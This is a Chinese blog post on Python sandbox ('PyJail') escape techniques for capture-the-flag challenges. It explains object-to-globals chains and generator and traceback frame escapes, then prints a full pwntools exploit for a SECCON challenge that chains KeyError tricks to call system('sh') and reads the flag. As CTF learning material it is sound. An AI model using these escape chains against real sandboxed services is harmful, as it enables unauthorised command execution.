Mobile wallpaper 1Mobile wallpaper 2Mobile wallpaper 3Mobile wallpaper 4
1069 字
5 分钟
PyJail绕过姿势思考(1)
2025-12-22
统计加载中...

PyJail绕过姿势思考#

灵感来源于LamentXU给我关于SCEEON一题沙箱逃逸的payload,我在想接触了PyJail的类型也不算太少了,也得浅浅总结一下。从SSTI开始说,服务器模板渲染,我们需要的是绕过题目或真实环境给我们设置的限制去rce或者写文件到可读目录,触发点比较基础的是templete_render,这一块只先写写python,一般来说无限制的情况下,过程大致就是拼接拿到动态os,又或者是拿到内置模块__builtins__,这里就不做赘述。

img

然后再上升为pyjail,ssti的绕过的进阶了有点像,pyjail我目前接触的其实还是贫乏,主要强调基础为主,python一切都可是对象,而对象都有类为对应蓝图,就是类,而类又共通,可以去顺着链条去找他们的类的命名空间,这样就能找到可以执行命令的类,然后可以找初始化类的方法,去找函数命名空间globals啊,然后是模块,这个我个人认为是最难理解的,模块呢它也是类,每一个文件,文件夹创建,就会返回模块,格式像<‘class s’><‘module a’>之类的,然后呢一个对象的属性合集是__dict__,dict里有class,module,那都是dict的属性的一部分,当然这都是原理。

逃逸的手段有很多很多,比如对象到类,到类的命名空间,再到执行命令的类,初始化函数,函数的命名空间,执行命令函数,当然这很笼统。

img

当然了,这种光说理论不行,给点实战之类的理论。

我接触过一些栈帧逃逸,包括顶上提到的keyerror什么的逃逸,都有一些共性,那就是某个对象是可控的,也就是生命周期可控,这个对象可以是原本存在,也可以是自己制造的,比如制造各种类型的报错,而报错都是对象,对象又有对应的类·····,这样一来,只要在它可控,那就能进行逃逸的尝试,举个例子。

s = (i for i in range(100))
k = s.gi_frame
bb = k.f_globals
print(bb)

这s就是个生成器,frame用完不会消失,而是存为frame对象可以继续调用,直到next(s)停止。这里就能拿到它的globlas,也能拿到builtins,这很有趣。

当然还有栈帧逃逸:

因为一切都有指向的类,异常也是如此,我们直接根据异常类造对象,就像下面

import sys
try:
raise Exception
except Exception as k:
f = k.__traceback__
f1 = f.tb_frame
while f1 is not None:
g=f1.f_globals
if 'sys' in g:
print(g)
break

raise Exception造一个错误对象,然后绑定到k,而这个错误对象又会绑定到错误栈上,而错误栈有自己独特的dict,也就是有f_globals,f_local等等,可以通过这些溯源拿到执行命令的模块,达到逃逸的目的。

再可以举一个例子,同样是利用错误,payload如下:

from pwn import *
context(log_level="DEBUG")
io = remote("excepython.seccon.games", 5000)
# attack chain:
# [].__setattr__.__objclass__.__subclasses__()[167].__init__.__globals__["system"]("sh")
io.recvuntil(b"jail>")
io.sendline(b"{}[f := lambda x: x[0].__getattribute__(*x[1:])]")
io.recvuntil(b"jail>")
io.sendline(b"{}[f := ex.args[0], g := lambda x: f([x[0]]+x)]")
io.recvuntil(b"jail>")
io.sendline(b'{}[g := ex.args, g[0][0]([[]] + ["__setattr__"])]')
io.recvuntil(b"jail>")
io.sendline(b'{}[g := ex.args[0], g[0][0][0]([g[1]] + ["__objclass__"])]')
io.recvuntil(b"jail>")
io.sendline(b'{}[g := ex.args[0], g[0][0][0][1]([g[1]] + ["__subclasses__"])]')
io.recvuntil(b"jail>")
io.sendline(b"{}[g := ex.args[0], g[1]()[167]]")
io.recvuntil(b"jail>")
io.sendline(b'{}[g := ex.args[0], g[0][0][0][0][0][1]([g[1]] + ["__init__"])]')
io.recvuntil(b"jail>")
io.sendline(
b'{}[g := ex.args[0], g[0][0][0][0][0][0][0]([g[1]] + ["__globals__"])["system"]]'
)
io.recvuntil(b"jail>")
io.sendline(b'{}[g := ex.args[0], g[1]("sh")]')
# cat /flag*
# SECCON{Pyth0n_was_m4de_for_jail_cha1lenges}
io.interactive()

这里就是用{}[0]这种会报keyerror的原理,然后这个keyerror是绑定到ex上的,ex因为是keyerror所绑定的所以也带有keyerror的dict,也就是有args,这个原本是报出错误的名称的,也就是我们弄的[]里放的,但是我们将其当成了容器,因为这个字符存进去也能变相取出来,这样通过这个不停绑定参数,最后加载我们需要的执行命令的方法函数。这都是对于python内部机制的探求吧我想

总归都是我们能用什么,能控制什么,控制的东西如何运作,知道这些,我想,会理解更加深入吧。

才疏学浅,仅供参考,其实还是以原理为主,哈哈,就到这里吧

img

PyJail绕过姿势思考(1)
https://steins-gate.cn/posts/pyjail姿势思考/
作者
萦梦sora~Nya
发布于
2025-12-22
许可协议
Unlicensed

部分信息可能已经过时